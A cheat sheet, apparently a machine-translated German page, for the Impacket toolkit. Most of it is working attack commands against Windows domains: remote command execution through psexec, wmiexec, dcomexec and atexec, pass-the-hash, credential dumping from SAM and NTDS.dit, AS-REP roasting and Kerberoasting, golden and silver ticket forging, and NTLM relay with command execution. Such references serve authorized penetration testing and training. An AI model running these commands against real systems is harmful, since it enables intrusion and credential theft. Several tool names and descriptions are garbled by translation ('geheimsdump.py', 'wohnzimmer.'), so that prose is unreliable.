Impacket Toolkit Cheat Sheet

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Überblick

Impacket ist eine Sammlung von Python-Klassen für die Zusammenarbeit mit Netzwerkprotokollen. Es bietet einen programmarmen Zugriff auf Pakete und implementiert mehrere Protokolle wie SMB, MSRPC und Kerberos. Impacket enthält zahlreiche gebrauchsfertige Werkzeuge für Penetrationstests, insbesondere auf Windows-Umgebungen.

ZEIT Warning: Impacket ist ein Sicherheitstest-Tool, das nur in Umgebungen verwendet werden sollte, in denen Sie eine ausdrückliche Erlaubnis dazu haben.

Installation

Von PyPI

bash pip install impacket_

Von GitHub

bash git clone https://github.com/fortra/impacket.git cd impacket pip install -r requirements.txt python setup.py install_

Auf Kali Linux

bash sudo apt update sudo apt install -y python3-impacket_

Virtuelle Umgebung nutzen

```bash

Create and activate virtual environment

python -m venv impacket-env source impacket-env/bin/activate # Linux/macOS impacket-env\Scripts\activate.bat # Windows

Install Impacket

pip install impacket ```_

Befehlsausführungswerkzeuge

Psexec.

Erledigt Befehle auf Remote-Windows-Systemen mit dem SMB-Protokoll, ähnlich wie SysInternals' PsExec.

Basisnutzung

bash psexec.py [domain/]username[:password]@target [options] [command]_

Gemeinsame Optionen

| | Option | Description | | | --- | --- | | | -hashes LMHASH:NTHASH | Use NTLM hashes instead of password (Pass-the-Hash) | | | | -k | Use Kerberos authentication | | | | -no-pass | Don't ask for password (useful for Kerberos) | | | | -port [port] | Connect to SMB Server port (default: 445) | | | | -debug | Turn DEBUG output ON | |

Beispiele

```bash

Execute command with explicit credentials

psexec.py administrator:Password123@192.168.1.100 cmd.exe

Execute command with domain credentials

psexec.py domain/administrator:Password123@192.168.1.100 cmd.exe

Execute specific command

psexec.py administrator:Password123@192.168.1.100 "ipconfig /all"

Use hash instead of password (Pass-the-Hash)

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 cmd.exe ```_

Smbexec.py

Ähnlich wie psexec.py aber verwendet verschiedene Techniken, um Befehle auszuführen, so dass es potenziell Stealthier.

Basisnutzung

bash smbexec.py [domain/]username[:password]@target [options]_

Gemeinsame Optionen

| | Option | Description | | | --- | --- | | | -hashes LMHASH:NTHASH | Use NTLM hashes instead of password (Pass-the-Hash) | | | | -share SHARE | Share where the output will be grabbed from (default: ADMIN$) | | | | -shell-type \\{cmd,powershell\\} | Shell type to use (default: cmd) | | | | -codec CODEC | Sets encoding used (codec) from the target's output (default: UTF-8) | | | | -service-name NAME | Service name to use (default: random) | |

Beispiele

```bash

Execute with explicit credentials

smbexec.py administrator:Password123@192.168.1.100

Execute with domain credentials

smbexec.py domain/administrator:Password123@192.168.1.100

Use hash instead of password (Pass-the-Hash)

smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100

Use PowerShell instead of cmd

smbexec.py -shell-type powershell administrator:Password123@192.168.1.100 ```_

wmiexec.py

Befehle auf Remote-Windows-Systemen mit WMI ausführen.

Basisnutzung

bash wmiexec.py [domain/]username[:password]@target [options] [command]_

Gemeinsame Optionen

| | Option | Description | | | --- | --- | | | -hashes LMHASH:NTHASH | Use NTLM hashes instead of password (Pass-the-Hash) | | | | -share SHARE | Share where the output will be grabbed from (default: ADMIN$) | | | | -silentcommand | Execute command and return immediately without output | | | | -codec CODEC | Sets encoding used (codec) from the target's output (default: UTF-8) | | | | -shell-type \\{cmd,powershell\\} | Shell type to use (default: cmd) | |

Beispiele

```bash

Execute with explicit credentials

wmiexec.py administrator:Password123@192.168.1.100

Execute with domain credentials

wmiexec.py domain/administrator:Password123@192.168.1.100

Execute specific command

wmiexec.py administrator:Password123@192.168.1.100 "ipconfig /all"

Use hash instead of password (Pass-the-Hash)

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 ```_

Dcomexec.

Ausführen von Befehlen auf Remote-Windows-Systemen mit DCOM-Objekten.

Basisnutzung

bash dcomexec.py [domain/]username[:password]@target [options] [command]_

Gemeinsame Optionen

| | Option | Description | | | --- | --- | | | -hashes LMHASH:NTHASH | Use NTLM hashes instead of password (Pass-the-Hash) | | | | -object \\{ShellWindows,ShellBrowserWindow,MMC20\\} | DCOM object to use (default: MMC20.Application) | | | | -silentcommand | Execute command and return immediately without output | | | | -codec CODEC | Sets encoding used (codec) from the target's output (default: UTF-8) | | | | -shell-type \\{cmd,powershell\\} | Shell type to use (default: cmd) | |

Beispiele

```bash

Execute with explicit credentials

dcomexec.py administrator:Password123@192.168.1.100

Execute with domain credentials

dcomexec.py domain/administrator:Password123@192.168.1.100

Execute with specific DCOM object

dcomexec.py -object ShellWindows administrator:Password123@192.168.1.100

Use hash instead of password (Pass-the-Hash)

dcomexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 ```_

atexec.py

Ausführen von Befehlen auf Remote-Windows-Systemen mithilfe des Task Scheduler-Dienstes.

Basisnutzung

bash atexec.py [domain/]username[:password]@target [options] command_

Gemeinsame Optionen

| | Option | Description | | | --- | --- | | | -hashes LMHASH:NTHASH | Use NTLM hashes instead of password (Pass-the-Hash) | | | | -silentcommand | Execute command and return immediately without output | | | | -codec CODEC | Sets encoding used (codec) from the target's output (default: UTF-8) | |

Beispiele

```bash

Execute command with explicit credentials

atexec.py administrator:Password123@192.168.1.100 "whoami > C:\temp\whoami.txt"

Execute command with domain credentials

atexec.py domain/administrator:Password123@192.168.1.100 "whoami > C:\temp\whoami.txt"

Use hash instead of password (Pass-the-Hash)

atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 "whoami > C:\temp\whoami.txt" ```_

Erstellen von Dumping-Tools

geheimsdump.py

extrahiert Anmeldeinformationen von einem entfernten Windows-System, einschließlich SAM, LSA Secrets, und NTDS.dit.

Basisnutzung

bash secretsdump.py [domain/]username[:password]@target [options]_

Gemeinsame Optionen

| | Option | Description | | | --- | --- | | | -hashes LMHASH:NTHASH | Use NTLM hashes instead of password (Pass-the-Hash) | | | | -just-dc | Extract only NTDS.DIT data (domain controller only) | | | | -just-dc-ntlm | Extract only NTDS.DIT NTLM hashes (domain controller only) | | | | -just-dc-user USER | Extract only NTDS.DIT data for specific user | | | | -pwd-last-set | Shows pwdLastSet attribute for each NTDS.DIT account | | | | -user-status | Shows whether the user is enabled or disabled | | | | -history | Dump password history | | | | -outputfile FILE | Write output to file | |

Beispiele

```bash

Dump credentials with explicit credentials

secretsdump.py administrator:Password123@192.168.1.100

Dump credentials with domain credentials

secretsdump.py domain/administrator:Password123@192.168.1.100

Dump credentials using hash (Pass-the-Hash)

secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100

Dump credentials from local files

secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

Dump credentials from NTDS.dit

secretsdump.py -ntds ntds.dit -system system.save LOCAL

Extract only domain controller NTLM hashes

secretsdump.py -just-dc-ntlm domain/administrator:Password123@192.168.1.100 ```_

Kerberos Angriffswerkzeuge

GetNPUsers.py

Retrieves Passwort hashes für Benutzer mit "Benötigen Sie keine Kerberos preauthentication" Set (ASREPRoast Angriff).

Basisnutzung

bash GetNPUsers.py [domain/]username[:password] -dc-ip <DC_IP> [options]_

Gemeinsame Optionen

| | Option | Description | | | --- | --- | | | -request | Requests TGT for users and output them in JtR/hashcat format | | | | -no-pass | Don't ask for password (useful for Kerberos) | | | | -k | Use Kerberos authentication | | | | -dc-ip IP | IP Address of the domain controller | | | | -usersfile FILE | File with user per line to test | | | | -format \\{hashcat,john\\} | Format to save the AS_REP responses (default: hashcat) | | | | -outputfile FILE | Output filename to write ciphers in JtR/hashcat format | |

Beispiele

```bash

Get users without Kerberos preauthentication with explicit credentials

GetNPUsers.py domain/username:password -dc-ip 192.168.1.100 -request

Get users without Kerberos preauthentication for specific user

GetNPUsers.py domain/username:password -dc-ip 192.168.1.100 -request -target-user user1

Get users without Kerberos preauthentication for all users in domain

GetNPUsers.py domain/ -dc-ip 192.168.1.100 -usersfile users.txt -format hashcat

Use no credentials (anonymous)

GetNPUsers.py domain/ -dc-ip 192.168.1.100 -no-pass ```_

GetUserSPN.py

Retrieves Service Principal Names (SPNs) für Konten in der Domain (Kerberoasting-Angriff).

Basisnutzung

bash GetUserSPNs.py [domain/]username[:password] -dc-ip <DC_IP> [options]_

Gemeinsame Optionen

| | Option | Description | | | --- | --- | | | -request | Requests TGS for users and output them in JtR/hashcat format | | | | -hashes LMHASH:NTHASH | Use NTLM hashes instead of password (Pass-the-Hash) | | | | -dc-ip IP | IP Address of the domain controller | | | | -target-user USER | Target specific user to request TGS for | | | | -outputfile FILE | Output filename to write ciphers in JtR/hashcat format | | | | -format \\{hashcat,john\\} | Format to save the TGS tickets (default: hashcat) | |

Beispiele

```bash

Get SPNs with explicit credentials

GetUserSPNs.py domain/username:password -dc-ip 192.168.1.100 -request

Get SPNs for specific user

GetUserSPNs.py domain/username:password -dc-ip 192.168.1.100 -request -target-user sqlservice

Output hashes in specific format

GetUserSPNs.py domain/username:password -dc-ip 192.168.1.100 -request -format hashcat

Use hash instead of password (Pass-the-Hash)

GetUserSPNs.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 domain/username -dc-ip 192.168.1.100 -request ```_

Ticketer.py

Erstellt Golden und Silver Tickets für Kerberos Authentifizierung.

Basisnutzung

bash ticketer.py [options] username_

Gemeinsame Optionen

| | Option | Description | | | --- | --- | | | -nthash HASH | NT hash for the user or service account | | | | -aesKey KEY | AES key for the user or service account | | | | -domain DOMAIN | Domain name | | | | -domain-sid SID | Domain SID | | | | -spn SPN | Service Principal Name (for Silver Tickets) | | | | -groups IDS | Comma-separated list of group IDs to include in the ticket | | | | -duration HOURS | Ticket duration in hours (default: 10) | | | | -out FILE | Output filename to save the ticket | |

Beispiele

```bash

Create Golden Ticket

ticketer.py -nthash 7facdc498ed1680c4fd1448319a8c04f -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain contoso.local administrator

Create Silver Ticket

ticketer.py -nthash 7facdc498ed1680c4fd1448319a8c04f -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain contoso.local -spn MSSQLSvc/sqlserver.contoso.local:1433 administrator

Specify output file

ticketer.py -nthash 7facdc498ed1680c4fd1448319a8c04f -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain contoso.local -out ticket.kirbi administrator ```_

Netzwerkprotokolle Werkzeuge

smbclient.py

Bietet einem SMB-Client Zugriff auf Aktien und Dateien auf Remote-Systeme.

Basisnutzung

bash smbclient.py [domain/]username[:password]@target [options]_

Gemeinsame Optionen

| | Option | Description | | | --- | --- | | | -hashes LMHASH:NTHASH | Use NTLM hashes instead of password (Pass-the-Hash) | | | | -port [port] | Connect to SMB Server port (default: 445) | | | | -file FILE | Input file with commands to execute in the mini shell | | | | -debug | Turn DEBUG output ON | |

Gemeinsame Befehle (Interactive Shell)

| | Command | Description | | | --- | --- | | | help | Show available commands | | | | shares | List available shares | | | | use <share> | Connect to a specific share | | | | ls | List files in current directory | | | | cd <dir> | Change directory | | | | get <file> | Download file | | | | put <file> | Upload file | | | | rm <file> | Delete file | | | | mkdir <dir> | Create directory | | | | rmdir <dir> | Remove directory | | | | exit | Exit the shell | |

Beispiele

```bash

Connect with explicit credentials

smbclient.py administrator:Password123@192.168.1.100

Connect with domain credentials

smbclient.py domain/administrator:Password123@192.168.1.100

Use hash instead of password (Pass-the-Hash)

smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 ```_

mssqlclient.py

Bietet einen Client, um mit Microsoft SQL Server Instanzen zu interagieren.

Basisnutzung

bash mssqlclient.py [domain/]username[:password]@target [options]_

Gemeinsame Optionen

| | Option | Description | | | --- | --- | | | -hashes LMHASH:NTHASH | Use NTLM hashes instead of password (Pass-the-Hash) | | | | -windows-auth | Use Windows Authentication (default: False) | | | | -port [port] | Destination port to connect to (default: 1433) | | | | -db DATABASE | MSSQL database instance (default: None) | | | | -file FILE | Input file with commands to execute in the SQL shell | | | | -debug | Turn DEBUG output ON | |

Gemeinsame Befehle (Interactive Shell)

| | Command | Description | | | --- | --- | | | help | Show available commands | | | | enable_xp_cmdshell | Enable the xp_cmdshell stored procedure | | | | disable_xp_cmdshell | Disable the xp_cmdshell stored procedure | | | | xp_cmdshell <command> | Execute command through xp_cmdshell | | | | sp_start_job <job> | Start a SQL Server job | | | | exit | Exit the shell | |

Beispiele

```bash

Connect with explicit credentials

mssqlclient.py sa:Password123@192.168.1.100

Connect with domain credentials

mssqlclient.py domain/sqluser:Password123@192.168.1.100

Use hash instead of password (Pass-the-Hash)

mssqlclient.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 sa@192.168.1.100

Enable Windows authentication

mssqlclient.py domain/sqluser:Password123@192.168.1.100 -windows-auth ```_

Andere nützliche Werkzeuge

ntlmrelayx.py

Führt NTLM Relay-Angriffe.

Basisnutzung

bash ntlmrelayx.py [options]_

Gemeinsame Optionen

| | Option | Description | | | --- | --- | | | -t TARGET | Target to relay the credentials to | | | | -tf FILE | File with targets to relay the credentials to | | | | -w | Start the HTTP server and do not relay credentials | | | | -e FILE | Execute this file when a connection is relayed | | | | -c COMMAND | Execute this command when a connection is relayed | | | | -smb2support | Enable SMB2 support | | | | -socks | Launch a SOCKS proxy for the connection | | | | -one-shot | Relay only one connection | | | | -debug | Turn DEBUG output ON | |

Beispiele

```bash

Relay to specific target

ntlmrelayx.py -t smb://192.168.1.100 -smb2support

Relay to multiple targets

ntlmrelayx.py -tf targets.txt -smb2support

Execute command on successful relay

ntlmrelayx.py -t smb://192.168.1.100 -smb2support -c "whoami > C:\temp\whoami.txt"

Dump SAM database on successful relay

ntlmrelayx.py -t smb://192.168.1.100 -smb2support -d

Start SOCKS proxy

ntlmrelayx.py -tf targets.txt -socks ```_

wohnzimmer.

Führt SID-Lookups aus, um Benutzer und Gruppen aufzuzählen.

Basisnutzung

bash lookupsid.py [domain/]username[:password]@target [options]_

Gemeinsame Optionen

| | Option | Description | | | --- | --- | | | -hashes LMHASH:NTHASH | Use NTLM hashes instead of password (Pass-the-Hash) | | | | -domain DOMAIN | Domain to enumerate (default: target domain) | | | | -debug | Turn DEBUG output ON | |

Beispiele

```bash

Enumerate SIDs with explicit credentials

lookupsid.py administrator:Password123@192.168.1.100

Enumerate SIDs with domain credentials

lookupsid.py domain/administrator:Password123@192.168.1.100

Use hash instead of password (Pass-the-Hash)

lookupsid.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 ```_

reg.py

Bietet ein Remote-Registry-Handling-Tool.

Basisnutzung

bash reg.py [domain/]username[:password]@target [options] action [params]_

Gemeinsame Optionen

| | Option | Description | | | --- | --- | | | -hashes LMHASH:NTHASH | Use NTLM hashes instead of password (Pass-the-Hash) | | | | -debug | Turn DEBUG output ON | |

Maßnahmen

| | Action | Description | | | --- | --- | | | query | Query a registry key or value | | | | add | Add a registry key or value | | | | delete | Delete a registry key or value | | | | save | Save a registry hive to a file | |

Beispiele

```bash

Query registry key with explicit credentials

reg.py administrator:Password123@192.168.1.100 query -keyName HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion

Add registry key with domain credentials

reg.py domain/administrator:Password123@192.168.1.100 add -keyName HKLM\SOFTWARE\Test -v TestValue -vt REG_SZ -vd "Test Data"

Delete registry key with hash (Pass-the-Hash)

reg.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 delete -keyName HKLM\SOFTWARE\Test ```_

Gemeinsame Parameter Across Tools

| | Parameter | Description | | | --- | --- | | | -h, --help | Show help message and exit | | | | -debug | Turn DEBUG output ON | | | | -hashes LMHASH:NTHASH | NTLM hashes, format is LMHASH:NTHASH | | | | -no-pass | Don't ask for password (useful for Kerberos) | | | | -k | Use Kerberos authentication | | | | -aesKey KEY | AES key to use for Kerberos authentication | | | | -dc-ip IP | IP Address of the domain controller | | | | -target-ip IP | IP Address of the target machine | | | | -port [port] | Destination port to connect to | |

Ressourcen

Official GitHub Repository
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